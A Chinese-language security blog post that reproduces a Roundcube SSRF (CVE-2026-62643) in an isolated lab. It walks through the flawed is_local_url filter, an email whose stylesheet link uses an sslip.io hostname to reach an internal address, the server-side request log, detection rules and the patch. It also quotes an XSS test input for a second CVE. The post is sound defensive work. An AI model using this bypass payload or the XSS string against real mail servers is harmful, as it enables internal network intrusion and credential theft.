當你打開一封電子郵件時,你的郵件伺服器已經在敲一扇你從未給過它的內部位址,因為這封郵件叫它去那裡。這不是假想情境。我已在實驗室中重現並在日誌中抓到請求。

閱讀電子郵件早已不再是被動行為。用戶端解析 MIME、將文字渲染成 HTML、載入樣式、顯示附件、將位址與連結轉為可點擊項目。這些步驟都是在處理陌生人傳來的資料。一旦其中任何一步對資料過度信任,郵件就會開始做你未要求的事。

2026 年 7 月 Roundcube 釋出 1.6.17 版,這不只是一個修補程式,而是整份清單。其中兩項修正的嚴重性位居頂端:NIST 將兩者評為滿分 10.0,MITRE 則對 SSRF 較為保守,給予 7.2 分。其中一項讓郵件能自行讓郵件伺服器觸及內部網路。我在隔離實驗室中架設易受攻擊的版本,並完整走完攻擊流程,直到日誌中出現伺服器本身發出的請求。我也會坦白說明公開資料到哪裡為止,以及為什麼第二個 10.0 分無法從公開資料重現。

事先聲明:我並未在生產環境中使用 Roundcube,這篇文章也不是在批評它是不好的軟體。我從事伺服器安全工作,這裡吸引我的是一個反覆出現的情節。任何用來渲染他人傳來內容的軟體,其攻擊面正好落在它試圖提供便利之處。Roundcube 是一個清晰的例子,因為漏洞存在於功能本身:樣式載入、位址連結化、附件解析。

一封郵件如何讓伺服器走遍網路:CVE-2026-62643(CVSS 10.0)

我將從我實際重現的那一個開始。

當 Roundcube 顯示 HTML 郵件時,它不會直接把樣式交給瀏覽器,而是先把外部樣式抓回自己的伺服器,經過清理器處理後才傳給瀏覽器。這個用意合理:先清除 CSS 中的危險結構,再讓使用者看到。問題在於執行抓取的是伺服器本身。

以下是做出決策的程式碼片段(program/actions/mail/index.php):

if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
    && !rcube_utils::is_local_url($attrib['href'])) {
    // rewrite the stylesheet link to the internal modcss handler,
    // which will fetch the URL ITSELF and return sanitized CSS
    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
    ...
}

Enter fullscreen mode Exit fullscreen mode

因此,帶有 <link rel="stylesheet" href="..."> 的郵件會讓伺服器去抓取該位址。阻擋它進入內部網路的唯一屏障就是 is_local_url 檢查。整個 SSRF 防禦都建立在這個函式上。讓我們來看看它在 1.6.16 版中的運作方式。

public static function is_local_url($url)
{
    $host = parse_url($url, \PHP_URL_HOST);
    ...
    $host = preg_replace('/^::ffff:/i', '', $host);

    if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
        $host = trim($matches[1], '-.');
    }

    if ($address = Factory::parseAddressString($host, $options)) {
        $nets = [
            '0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
            '192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
        ];
        foreach ($nets as $net) {
            $range = Factory::parseRangeString($net);
            if ($range->contains($address)) {
                return true; // local, block it
            }
        }
        return false;
    }
    ...
}

Enter fullscreen mode Exit fullscreen mode

直接的私有位址檢查是誠實的:涵蓋所有 RFC1918、回送位址、連結本地位址(包含雲端中繼資料位址 169.254)。你無法寫 href="http://127.0.0.1"http://169.254.169.254,它們會被擋下。

但請看 nip.io 那行。開發者已經知道有 DNS 服務能將 10.0.0.1.nip.io 這種名稱解析回 IP 10.0.0.1。這種服務能把私有位址藏在公開名稱後面:is_local_url 只看到網域名稱而非 IP,因此會放行。於是 nip.io 會先被還原成位址再進行檢查,這是合理的。

只是 nip.io 並非唯一。還有 sslip.io 做完全相同的事,而在 1.6.16 版中它不在那行程式碼裡。這表示 172.30.0.3.sslip.io 對該函式來說只是一個外部網域。它不會拆解,parseAddressString 無法從網域名稱取得 IP,範圍檢查從未觸發,函式回傳 false。判定為非本機,放行。

實驗室

一切都在三個容器的隔離網路中執行,郵箱都是假的。受害者是 Roundcube 1.6.16(修補前的最後版本),郵件伺服器使用 GreenMail,攻擊者容器執行單純的 python -m http.server,在網路中顯示為 172.30.0.3

services:
  roundcube:
    image: roundcube/roundcubemail:1.6.16-apache
    environment:
      ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
      ROUNDCUBEMAIL_SMTP_SERVER: greenmail
    ports: ["127.0.0.1:8091:80"]
  greenmail:
    image: greenmail/standalone:latest
    environment:
      GREENMAIL_OPTS: "-Dgreenmail.setup.test.all [email protected]:victimpass,[email protected]:attackerpass"
  attacker:
    image: python:3.12-alpine
    command: python -m http.server 8000

Enter fullscreen mode Exit fullscreen mode

我直接在容器內確認版本,而不是猜測:

$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail

## Release 1.6.16

Enter fullscreen mode Exit fullscreen mode

攻擊

我寄給受害者一封郵件,標頭只有一行。我選擇的主機能避開 is_local_url:公開 DNS 會把 172.30.0.3.sslip.io 解析回私有位址 172.30.0.3,我的監聽器就在那裡。

html = (
    '<html><head>'
    '<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
    '</head><body><p>Styled newsletter.</p></body></html>'
)

Enter fullscreen mode Exit fullscreen mode

我以受害者身分登入網頁郵件並打開郵件。預設 Roundcube 會阻擋外部內容並顯示允許按鈕,因此這不是零點擊,而是需要使用者點擊一次。我允許外部內容(在實驗室中我執行按鈕背後的相同指令),然後查看監聽器日誌:

172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404

Enter fullscreen mode Exit fullscreen mode

請求來了,而且來自 172.30.0.4。那不是受害者的瀏覽器。瀏覽器根本不會從外部看到 172.30.0.3.sslip.io 這個名稱。172.30.0.4 是 Roundcube 容器本身,我用 hostname -i 確認過。因此,伺服器根據郵件中的指令,前往我指定的內部位址。這裡的 404 無關緊要,重要的是請求確實發生了。這就是 SSRF:我沒有存取伺服器內部網路的權限,但透過一封郵件,我讓伺服器為我前往那裡。

在真實伺服器上,我的空監聽器可能換成內部服務、鄰近容器、沒有對外存取的管理面板,或是內部連接埠上的資料庫。特別危險的是雲端中繼資料端點 169.254.169.254:伺服器發出這類請求,就等於把整個雲端帳戶的暫存金鑰交出去。這個版本已經涵蓋該位址(169.254 在封鎖清單中),但這類攻擊的本質正是如此,任何過濾器的疏漏都會重新開啟取得憑證的道路。攻擊者把郵件伺服器變成通往內部網路的代理。

如何在日誌中偵測

網頁郵件中的 SSRF 很方便辨識,因為它會留下明顯痕跡:網頁伺服器程序本身對它不該去的位址發出對外 HTTP 連線。不是用戶端,不是瀏覽器,而是你的 Roundcube 的 php-fpm 或 apache 突然連向內部位址。

警示規則很簡單:任何從網頁伺服器 UID 發出的對外連線,只要目標不在你的允許清單(你的 SMTP、IMAP、更新伺服器)中,就是事件。在實驗室中,就是那行顯示 172.30.0.4 的日誌,也就是 Roundcube 本身的 IP。在生產環境中,相同的模式可以透過出口過濾器或反向代理日誌捕捉到:一個本應只接收請求的服務,突然開始主動發出請求。

修補

一行修補程式。DNS 服務的拆解現在涵蓋的不只 nip.io:

- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

Enter fullscreen mode Exit fullscreen mode

我把映像檔更新到 1.6.17,重新建立容器,並從同一個郵箱重播完全相同的郵件。確認修補程式已到位:

$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

Enter fullscreen mode Exit fullscreen mode

我打開郵件並允許外部內容。監聽器日誌在那之後沒有變化,仍然只有 1.6.16 版的那一次請求。沒有新的命中。現在 is_local_url 會把 172.30.0.3.sslip.io 拆解成 172.30.0.3,發現它落在 172.16.0.0/12 範圍內,因此回傳 true。伺服器不會去任何地方。漏洞已修復。

修補程式同時也強化了 IPv6 繞過防護:preg_replace('/^::ffff:/i', ...) 改為 /^[0:]*:ffff:/i,因此 0:0:0:0:0:ffff:127.0.0.1 這類記錄現在也會被攔截。

第二個 10.0,無法從公開資料觸發:CVE-2026-54433

這部分我會坦白說明。對於第二個漏洞,我沒有可運作的利用程式,我會解釋原因,因為分析過程本身比完成結果更有教育意義。

CVE-2026-54433 根據描述,是一個純文字郵件渲染中的零點擊儲存型 XSS。它聽起來很驚人:即使是依定義不含 HTML 的純文字,也能在開啟時執行他人的 JavaScript。原因出在連結化功能。當 Roundcube 顯示純文字郵件時,它會找出其中的電子郵件位址與連結,並包裝成可點擊標籤。這個產生 HTML 的步驟就是漏洞所在。

我查看修補提交。它只有一個提交,修改單一行,即 rcube_string_replacer.php 中 mail 連結查詢部分的正規表示式:

- . "(\?[$url1$url2]+)?"        // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?'             // after: forbid < > and whitespace

Enter fullscreen mode Exit fullscreen mode

重點很清楚:之前 mailto 連結的尾端允許可跳出標記的字元,修復後則禁止尖括號與空白字元。提交附帶一個惡意輸入的測試:

[email protected]?]<img/src="x"/onerror=alert(document.domain)>

Enter fullscreen mode Exit fullscreen mode

我在 1.6.16 版上透過瀏覽器執行該輸入,得到以下安全的 HTML:

<a href="mailto:[email protected]?">[email protected]?</a>]&lt;img/src="x"/onerror=alert(document.domain)&gt;

Enter fullscreen mode Exit fullscreen mode

也就是說,<img> 被轉成實體,腳本即使在易受攻擊的版本中也不會執行。我深入調查原因。連結不僅由正規表示式處理,還會經過 parse_url_brackets 函式,該函式會小心移除位址中不成對的括號,包含 ]。因此 ] 進入尾端,而 <img> 落在普通文字中,會被逸出。提交中的測試輸入顯示了修復的邊界,但它本身並非可運作的利用程式。

這是正常情況。附加在修復上的公開測試很少能對應真實世界的有效負載。真正的向量掌握在發現該漏洞的研究人員手中(致謝名單中是 Samsung R&D Institute Ukraine 的 Bohdan Kurinnoy),且在修補程式廣泛部署前不會公開,以免過早武裝攻擊者。你可以從一行 diff 建構出可運作的利用程式,但那需要另外對連結器進行費時費力的工作,我不會把猜測當成重現。可以確切陳述的是:純文字連結器中的漏洞是真實的,其類型為 XSS,已透過縮小字元集的方式修復。無法確切陳述的是:公告中的這一行本身就能攻擊任何人。

這不是單一漏洞,而是整個問題類別

整體來看 1.6.17 版釋出內容,可以清楚看出他們不是在修復隨機錯字,而是在逐一檢視郵件用戶端的攻擊面。

  • CVE-2026-54432,另一個儲存型 XSS,但這次是透過附件的 MIME 類型。在附件驗證警告頁面中,類型未經逸出即被插入。
  • 密碼外掛程式透過 session 注入的使用者名稱所造成的漏洞。
  • 除本篇涵蓋的 sslip.io 之外,還有兩個透過特定本地位址的 SSRF 繞過。
  • TNEF 解碼器中的兩個阻斷服務漏洞(即 Outlook 的 winmail.dat):無限迴圈,以及透過壓縮 RTF 中偽造的大小造成的當機。

不同模組、不同漏洞類型,同一個根本原因。用戶端解析並渲染來自郵件的資料:文字、樣式、附件、專有的 Microsoft 格式。每個解析器都是對他人輸入的信任。郵件用戶端越豐富,就有越多地方讓陌生人的郵件獲得超出預期的控制權。樣式帶來 SSRF,連結器帶來 XSS,TNEF 解碼器帶來 DoS。

如果你使用 Roundcube,請立即檢查

  1. 版本。1.6.17 或更新版本(1.7 分支則為 1.7.2)。上述所有問題均已在該版本中修復。
  2. 外部內容。預設保持阻擋外部資源。這不僅是隱私保護,也能防止 SSRF 在沒有使用者動作的情況下觸發。
  3. 網路隔離。郵件前端不應與內部服務及雲端中繼資料端點處於同一平面網路。限制網頁伺服器本身的對外連線,而不僅是對內連線。
  4. 外掛程式。若使用密碼變更外掛程式,請更新它,它也有自己的漏洞。
  5. 監控。從你的網頁郵件程序發往非預期位址的對外 HTTP 請求是一種訊號。在實驗室中,SSRF 會顯示為伺服器本身 IP 對不該去的地方發出的請求。

從中可得出的教訓

一行正規表示式忘了第二個 DNS 服務,郵件就能讓你的伺服器在內部網路中行走。另一行字元集未充分縮小,純文字郵件就能觸發 XSS。這不是關於 Roundcube 的問題。這是關於任何渲染他人傳來內容的軟體,預設都會信任該內容,而安全性就是在這長串清單中,一一撤銷那些信任。有時在便利功能與漏洞之間,只差一個過濾器中被遺漏的案例。在這裡,它們累積成整個版本。


實驗室建立在隔離環境中,所有位址與郵箱皆為虛構。內容供防禦自身系統使用。